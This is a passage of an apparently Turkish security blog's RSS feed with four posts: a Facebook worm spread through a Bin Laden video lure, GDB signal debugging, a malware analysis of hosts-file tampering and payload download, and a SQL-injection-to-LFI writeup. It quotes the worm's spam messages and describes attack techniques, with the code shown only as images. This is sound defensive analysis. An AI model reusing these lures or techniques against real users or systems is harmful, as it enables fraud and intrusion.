				<category><![CDATA[Malware Analiz]]></category>
		<category><![CDATA[Social Engineering]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=332</guid>
		<description><![CDATA[Gündeme birden Flash News olarak düşen Bin Ladin&#8217;in öldürüldüğü haberi beklediğimiz gibi dolandırıcılık için kullanılmaya başlandı. Bu tip sükse yapan haberler siber dünyada dolandırıcılara fazla mesai ve fazla para kazandırıyor. Bir dolandırıcı bu haberi nasıl kullanabilir. Malware dağıtmak için, spam yapmak için, son zamanlarda fazla artışta olan SEO yapmak için bu yöntemlere başvuruluyor. Bu yazıda [...]]]></description>
			<content:encoded><![CDATA[<p>Gündeme birden <strong>Flash News</strong> olarak düşen Bin Ladin&#8217;in öldürüldüğü haberi beklediğimiz gibi dolandırıcılık için kullanılmaya başlandı. Bu tip sükse yapan haberler siber dünyada dolandırıcılara fazla mesai ve fazla para kazandırıyor. Bir dolandırıcı bu haberi nasıl kullanabilir. Malware dağıtmak için, spam yapmak için, son zamanlarda fazla artışta olan SEO yapmak için bu yöntemlere başvuruluyor. Bu yazıda da en son konuyla alakalı yakaladığımız dolandırıcılık girişimlerini ele alacağız.<span id="more-332"></span></p>
<p><strong>Malware Bulaştırma</strong><br />
Tahmin edebileceğiniz gibi &#8220;Bin Ladin&#8217;in öldürüme anı&#8221; ya da &#8220;Bin Ladin&#8217;in ceseti&#8221; gibisinden mail&#8217;ler birçok kişinin mailbox&#8217;ına düşmeye başladı. Özellikle ilgili olayın üstü kapalı tutulması ve kamuoyunun merak etmesi bu işleri kullananların eline büyük fırsat veriyor.</p>
<p><strong>Sahte İçerik</strong><br />
Aşağıdaki resim bir sitede yer alan reklam bölümünden. Linke tıkladığınız zaman alakası olmayan iki farklı web sitesi açılıyor. Bir günde merak edip ortalama 10.000 kişinin sadece bu linke tıkladığını ve ilgili sayfaları ziyaret ettiğini düşünürseniz, içeriği koyan açısından iyi bir kazançtır diyebiliriz.</p>
<p><img title="Sahte İcerik" src="http://adeosecurity.com/images/web-malware-1/1.png" alt="" width="306" height="129" /></p>
<p><strong>Facebook Worm</strong><br />
Yine ilgi çekici şeylerden birisi de bu kadar kısa bir süre içerisinde yeni bir Facebook solucanı yazılmış olması. Bin Ladin&#8217;in öldürülmesiyle alakalı hazırlanan aşağıdaki Facebook sayfasını kullanarak yayılmakta bu solucan. Göreceğiniz üzere verilen kodu kopyalamanız ve browser&#8217;ınızda çalıştırmanız yazılmakta. Bu sayede sözde video&#8217;yu izleyebileceğiniz vaadiyle Facebook sayfanız üzerinden zararlı işlemler yapılmakta.<br />
<img title="Zararlı Javascript Kodu" src="http://adeosecurity.com/images/web-malware-1/2.png" alt="" width="570" height="415" /></p>
<p>Aşağıda çalıştırılan ilgili JavaScript kodu yer almakta.<br />
<img title="Zararlı JS" src="http://adeosecurity.com/images/web-malware-1/3.png" alt="" width="632" height="486" align="center" /></p>
<p>Bu JavaScript kodu çalıştırıldığında arkadaş listenizde Facebook sohbet&#8217;te çevrimiçi olanlara;<br />
&#8220;<strong><em>watch the video of them killing osama bin laden live! http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&amp;</em></strong>&#8221; mesajını yollamakta ve onlarında ilgili sahte Facebook sayfası ile etkilenmelerini sağlamakta.</p>
<p>Yine aynı zararlı kod duvarınıza;<br />
&#8220;<strong><em>Osama Bin Laden killed live on a news broadcast! watch the video: http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&amp;</em></strong>&#8221; mesajını yazmakta ve yeni bir etkinlik oluşturup tüm arkadaş listenizi sizin izniniz olmadan davet etmekte.</p>
<p>&#8220;<strong><em>Hey everyone, \n\ fb now lets you see who viewed your profile! to enable this feature, go here! &#8211; http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878</em></strong>&#8221;</p>
<p>ve son olarakta sizi <strong>http://www.en-derin.com/technology/osama-bin-laden-killed-live-video-watch</strong> adresine yönlendiriyor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/social-engineering/bin-ladinin-olumu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Application Security &amp; Debugging &#8211; 2</title>
		<link>http://www.adeosecurity.com/debugging/application-security-debugging-2/</link>
		<comments>http://www.adeosecurity.com/debugging/application-security-debugging-2/#comments</comments>
		<pubDate>Sat, 30 Apr 2011 21:37:05 +0000</pubDate>
		<dc:creator>Yasin SÜRER</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Debugging]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=326</guid>
		<description><![CDATA[Geçen yazıda genel olarak debugging konusuna bir giriş yapmıştık ve stabil çalışmayan uygulamaların temel olarak sistemlere etkilerinden söz etmiştik. Bu yazıda ise devam niteliğinde “signal” kavramından bahsetmeye çalışacağım. Sinyaller işletim sistemleri tarafından belirlenen ve süreçlerin birbirleriyle iletişim halinde olmalarını sağlayan kavramlardır, aynı zamanda bir süreç kendi içerisinde kendisine sinyal gönderebilir. Ayrıca sinyaller genel anlamda asenkron [...]]]></description>
			<content:encoded><![CDATA[<p>Geçen yazıda genel olarak debugging konusuna bir giriş yapmıştık ve stabil çalışmayan uygulamaların temel olarak sistemlere etkilerinden söz etmiştik. Bu yazıda ise devam niteliğinde “signal” kavramından bahsetmeye çalışacağım.</p>
<p>Sinyaller işletim sistemleri tarafından belirlenen ve süreçlerin birbirleriyle iletişim halinde olmalarını sağlayan kavramlardır, aynı zamanda bir süreç kendi içerisinde kendisine sinyal gönderebilir. Ayrıca sinyaller genel anlamda asenkron olarak çalışmaktadırlar. Sinyaller işletim sistemlerine göre değişmektedir, Windows sistemler üzerinde Unix işletim sistemine göre daha az signal vardir. Aşağıda Linux işletim sistemi üzerinde sağlanan bir “signal” listesi yer almaktadır.<br />
<span id="more-326"></span><br />
<code>1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP<br />
6) SIGABRT 7) SIGBUS 8 ) SIGFPE 9) SIGKILL 10) SIGUSR1<br />
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM<br />
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP<br />
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ<br />
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR<br />
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3<br />
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8<br />
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13<br />
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12<br />
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7<br />
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2<br />
63) SIGRTMAX-1 64) SIGRTMAX</code></p>
<p>Assembly ile yazdığınız kodlarda bir çok kez “illegal instruction” hatasi ile karşılaşmışsınızdır ve debug işlemi esnasında “SIGILL” sinyalinin buna işaret etmekte olduğunu görmüşsünüzdür. Yahut SIGINT sinyali ile konsol üzerinde kesme (<em>Ctrl-C ile</em>) gönderdiğiniz olmuştur. İşte tüm bunlar süreçlerin akışını etkileyecek etkenlerdir. Örneğin, grsec kernel patch, olası atakları “SIGSEGV” takibi ile yapmaktadır. Muhtemel hafıza sorunları yani “segmentation fault” tespiti bu sayede olmaktadır.</p>
<p><code>Program terminated with signal 11, Segmentation fault.<br />
#0 0x00007f44154a7fdb in ?? ()</p>
<p>#0 0x0013a2c2 in abort () from /lib/tls/libc.so.6<br />
#1 0x0016c4ea in __libc_message () from /lib/tls/libc.so.6<br />
#2 0x00172c6f in _int_free () from /lib/tls/libc.so.6<br />
#3 0x00172fea in free () from /lib/tls/libc.so.6<br />
#4 0x01287c44 in php_error_cb (type=1, error_filename=0xc36f894 "theme.php(10) : eval()'d code",<br />
error_lineno=9, format=0x1570b84 "Maximum execution time of %d second%s exceeded",<br />
args=0xa0f6195c "36") at /tmp/php-5.2.13/main/main.c:836<br />
#5 0x012c8b2a in zend_error (type=1,<br />
format=0x1570b84 "Maximum execution time of %d second%s exceeded")<br />
at /tmp/php-5.2.13/Zend/zend.c:976<br />
#6 0x012bd76d in zend_timeout (dummy=27) at /tmp/php-5.2.13/Zend/zend_execute_API.c:1347<br />
#7<br />
#8 0x00175030 in malloc () from /lib/tls/libc.so.6<br />
#9 0x00179cd0 in strdup () from /lib/tls/libc.so.6<br />
#10 0x012879e7 in php_error_cb (type=2, error_filename=0xc36f894 "theme.php(10) : eval()'d code",<br />
error_lineno=9, format=0x15723f4 "%s%s%s(): supplied argument is not a valid %s resource",<br />
args=0xa0f61d48 "ŃKT01ŃKT01OjT01FŽU01x35ö 01") at /tmp/php-5.2.13/main/main.c:845</code></p>
<p>Doğrudan sinyal kaynaklı problemlerin yakalanması nispeten daha zordur, GDB ile sinyal’e gösterilecek tepkinin ayarlanması mümkündür.</p>
<p><code>(gdb) handle SIGSEGV print nostop pass<br />
Signal Stop Print Pass to program Description<br />
SIGSEGV No Yes Yes Segmentation fault</code></p>
<p>Exception’lar istenmeyen durumların yakalanması için kullanılan ve bir çok programlama diline uyarlanmış bir özelliktir. C++ bunlardan biridir. Exception genel olarak aynı süreç içerisinde oluşma (<em>Bkz: throw</em>) ve sonlanma (<em>Bkz: caught</em>) aşamasından oluşmaktadır. GDB bu tip hataların incelenmesi aşamasında önemli görevler üstlenebilmekte. GDB konsolda catch throw ile hata bloguna atıldığı anda debugger’ın tepki vermesini sağlayabilirsiniz veya hatanın oluşması anında inceleme yapabilmek için catch catch komutu kullanılabilir.</p>
<p><code>(gdb) catch <strong>throw</strong><br />
Catchpoint 2 (throw)<br />
(gdb) catch <strong>catch</strong><br />
Catchpoint 3 (catch)<br />
(gdb) cont<br />
Continuing.<br />
Catchpoint 2 (exception thrown), 0x00007ffff7b8f9e0 in __cxa_throw () from /usr/lib/libstdc++.so.6<br />
(gdb) where<br />
#0 0x00007ffff7b8f9e0 in __cxa_throw () from /usr/lib/libstdc++.so.6<br />
#1 0x0000000000400afd in f1() ()<br />
#2 0x0000000000400b3e in main ()</code></p>
<p>Yukarıda görüldüğü gibi catch ve throw komutlari Çalışma anı Kütüphaneleri (<em>Bkz: Runtime Library</em>) yüklendikten sonra çalışmaktadır. Komutları vermeden önce sürecin çalıştığından emin olmak gerekmekte. Aynı işlemi Windows işletim sistemi üzerinden yapmak mümkün, kullandığınız IDE veya debugger’a göre bu işlem tabii ki değişecektir. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/debugging/application-security-debugging-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basit Malware Analizi &#8211; 1</title>
		<link>http://www.adeosecurity.com/malware-analiz/basit-malware-analizi-1/</link>
		<comments>http://www.adeosecurity.com/malware-analiz/basit-malware-analizi-1/#comments</comments>
		<pubDate>Sat, 30 Apr 2011 21:04:42 +0000</pubDate>
		<dc:creator>Yasin SÜRER</dc:creator>
				<category><![CDATA[Malware Analiz]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=318</guid>
		<description><![CDATA[Sosyal ağlar gibi platformların kitleler tarafından kullanımının artması saldırganların&#8217;da dikkatini çekmekte. Özellikle botnet ağına yeni kurbanların dahil edilmesi için saldırganlar sosyal medyadan maksimum düzeyde faydalanmaya çalışıyorlar. Bu tip saldırıların gerçekleştirilmesi aşamasında çok fazla karmaşık olmayan tekniklerin yanı sıra &#8220;Sosyal Mühendislik&#8221; gibi insanların yanlış yönlendirilmesi unsurları da saldırının bir parçası haline geliyor. Aşağıda ki basit analiz [...]]]></description>
			<content:encoded><![CDATA[<p>Sosyal ağlar gibi platformların kitleler tarafından kullanımının artması saldırganların&#8217;da dikkatini çekmekte. Özellikle botnet ağına yeni kurbanların dahil edilmesi için saldırganlar sosyal medyadan maksimum düzeyde faydalanmaya çalışıyorlar. Bu tip saldırıların gerçekleştirilmesi aşamasında çok fazla karmaşık olmayan tekniklerin yanı sıra &#8220;Sosyal Mühendislik&#8221; gibi insanların yanlış yönlendirilmesi unsurları da saldırının bir parçası haline geliyor.</p>
<p>Aşağıda ki basit analiz konunun Türkiye ayağı ile ilgili ve içinde Facebook ile ilgili sahte bir takım materyallerin kullanılması yoluyla aktivitesini sürdüren ufak bir kod.</p>
<div class="wp-caption alignnone" style="width: 649px"><img style="border: 0 initial initial;" title="Şekil - 1" src="http://adeosecurity.com/images/bma-1/1.jpg" border="0" width="639" height="171" /><p class="wp-caption-text">Şekil - 1</p></div>
<p><span id="more-318"></span><br />
Söz konusu zararlı kodun &#8220;<strong>%SystemRoot%\system32\drivers\etc\</strong>&#8221; dosyasına müdehalede bulunacağı açıkça görülüyor. Bu dizinde müdehale edilecek dosyanın &#8220;hosts&#8221; dosyası olabileceği akla gelen ilk seçenek aşağıda program içerisinde tanımlanmış &#8220;string&#8221; değerlere baktığımızda bunu daha iyi görebiliyoruz.</p>
<div class="wp-caption alignnone" style="width: 647px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/2.jpg" border="0" width="637" height="96" /><p class="wp-caption-text">Şekil - 2</p></div>
<p>Resimde bir takım anti-virus veya &#8220;malware&#8221; temizlemek için kullanılan yazılımların alan adına karşılık gelen ip adreslerinin değiştenirildiği ve &#8220;local ip&#8221; adresine yönlendirildiğini görüyoruz. </p>
<div class="wp-caption alignnone" style="width: 644px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/3.jpg" border="0" width="634" height="89" /><p class="wp-caption-text">Şekil - 3</p></div>
<p>&#8220;<strong>%SystemRoot%\system32\drivers\etc\</strong>&#8221; dosyası yazılabilir ve okunabilir modda açıldıktan sonra yukarıda program içinde tanımlanmış alan adları ve ip adresleri ekleniyor.</p>
<div class="wp-caption alignnone" style="width: 648px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/4.jpg" border="0" width="638" height="211" /><p class="wp-caption-text">Şekil - 4</p></div>
<p>Program <strong>URLDownloadToFile()</strong> API&#8217;sini kullanarak <strong>ganja.exe</strong> isimli çalıştırılabilir dosyayı bilgisayara indiriyor. Fakat bu çalıştırılabilir dosyanın buluduğu adres şu an kullanılabilir değil.</p>
<div class="wp-caption alignnone" style="width: 632px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/5.jpg" border="0" width="622" height="114" /><p class="wp-caption-text">Şekil - 5</p></div>
<p>Yukarıda program içerisinde tanımlı &#8220;string&#8221; değerler, saldırgandan gelecek komutların kısa bir listesi. Bu komutlar sayesinde &#8220;kurban&#8221;<br />
sistem üzerinde &#8220;dosya indirme&#8221;, &#8220;anti-virüsleri etkisiz hale getirme&#8221;, &#8220;istenilen sitenin ziyaret edilmesi&#8221; gibi işlemler gerçekleştirilebiliyor.</p>
<div class="wp-caption alignnone" style="width: 646px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/6.jpg" border="0" width="636" height="129" /><p class="wp-caption-text">Şekil - 6</p></div>
<p><strong>ShellExecute()</strong> API&#8217;si ile sistem üzerinde belirli bir programın açılması ve sistem içerisinde belirlenen dosyanın o programa dışarıdan yüklenmesi işlemi gerçekleşmektedir.</p>
<div class="wp-caption alignnone" style="width: 649px"><img style="border: 0 initial initial;" src="http://adeosecurity.com/images/bma-1/7.jpg" border="0" width="639" height="316" /><p class="wp-caption-text">Şekil - 7</p></div>
<p>Son olarak yukarıda koddan anlaşılacağı gibi &#8220;görüntüsü&#8221; alınan tüm süreçlerin ve exe içerisinde tanımlanan bazi kütüphanelere endeksli çalıştırılabilir servislerin kapatılması işlemi gerçekleşmektedir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/malware-analiz/basit-malware-analizi-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Üzerinden LFI</title>
		<link>http://www.adeosecurity.com/web-application-security/sql-injection-uzerinden-lfi/</link>
		<comments>http://www.adeosecurity.com/web-application-security/sql-injection-uzerinden-lfi/#comments</comments>
		<pubDate>Tue, 19 Apr 2011 14:16:37 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=310</guid>
		<description><![CDATA[SQL Injection üzerinden LFI bug&#8217;ları yakalamak her zaman karşılaşılabilecek bir durum olmasa bile karşılaşıldığı zaman çok kullanışlı olabilen bir zafiyet türü. Söz konusu zafiyet, uygulamanın DBMS&#8217;te yaptığı sorgu sonucunda dönen kolonlara ait verileri include, require, include_once, require_once gibi fonksiyonlara parametre olarak verdiğinde ortaya çıkmakta.Eğer şanslıysanız, aşağıdaki gibi PHP&#8217;nin vereceği hata mesajlarından böyle eğlenceli bir bug&#8217;ı [...]]]></description>
			<content:encoded><![CDATA[<p>SQL Injection üzerinden LFI bug&#8217;ları yakalamak her zaman karşılaşılabilecek bir durum olmasa bile karşılaşıldığı zaman çok kullanışlı olabilen bir zafiyet türü. Söz konusu zafiyet, uygulamanın DBMS&#8217;te yaptığı sorgu sonucunda dönen kolonlara ait verileri include, require, include_once, require_once gibi fonksiyonlara parametre olarak verdiğinde ortaya çıkmakta.<span id="more-310"></span>Eğer şanslıysanız, aşağıdaki gibi PHP&#8217;nin vereceği hata mesajlarından böyle eğlenceli bir bug&#8217;ı yakaladığınızı tespite debilirsiniz.</p>
<div class="wp-caption aligncenter" style="width: 516px"><img class=" " src="http://adeosecurity.com/images/lfioversqli/1.png" alt="" width="506" height="200" /><p class="wp-caption-text">Şekil 1: include_once hata mesajı</p></div>
<p>Şekil 3&#8242;teki kaynak kodda görebileceğiniz üzere $menu_id değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra $cp_boxes değişkeninde saklanan MySQL Resource&#8217;eait &#8220;dashboard_id&#8221; isimli kolon Şekil4&#8242;te göreceğiniz üzere $dashboard_id değişkenine atanmakta ve include_once fonksiyonunun parametresinde kullanılmakta.</p>
<p>İlgili örnekte sorgudan dönen 5.kolon <strong>include_once</strong> fonksiyonuna atanmakta. <strong>include_once</strong> fonksiyonu 5.kolon&#8217;daki müdahele ettiğimiz değeri (<em>örneğimizde bu değer 999999</em>), dosya sisteminde bulamadığı için hata mesajı veriyor. NULL Byte enjekte ederek yerel dosya sistemindeki dosyaları okuyabilmemiz yada log dosyalarını zehirleyerek komut çalıştırabilmemiz mümkün. [1] Şekil 2’de göreceğiniz üzere bu açıklığı kolay bir şekilde exploit edebildik.</p>
<div class="wp-caption aligncenter" style="width: 601px"><img class=" " src="http://adeosecurity.com/images/lfioversqli/2.png" alt="" width="591" height="428" /><p class="wp-caption-text">Şekil 2: Exploitation</p></div>
<p>Şekil 3&#8242;teki kaynak kodda görebileceğiniz üzere <strong>$menu_id</strong> değişkeni (<em>bizim kontrolümüzde olan değişken</em>) sorguya dahil edilmekte. Daha sonra <strong>$cp_boxes</strong> değişkeninde saklanan MySQL Resource&#8217;e ait &#8220;<strong>dashboard_id</strong>&#8221; isimli kolon Şekil4&#8242;te göreceğiniz üzere <strong>$dashboard_id</strong> değişkenine atanmakta ve <strong>include_once</strong> fonksiyonunun parametresinde kullanılmakta.</p>
<div class="wp-caption aligncenter" style="width: 600px"><img class="  " src="http://adeosecurity.com/images/lfioversqli/3.png" alt="" width="590" height="22" /><p class="wp-caption-text">Şekil 3: SQL Injection içeren kod bölümü</p></div>
<p>&nbsp;</p>
<div class="wp-caption aligncenter" style="width: 514px"><img class="  " src="http://adeosecurity.com/images/lfioversqli/4.png" alt="" width="504" height="66" /><p class="wp-caption-text">Şekil 4: SQL Injection üzerinden LFI gerçekleşen kod bölümü</p></div>
<p>&nbsp;</p>
<p>[1] - <a href="http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/">http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/web-application-security/sql-injection-uzerinden-lfi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

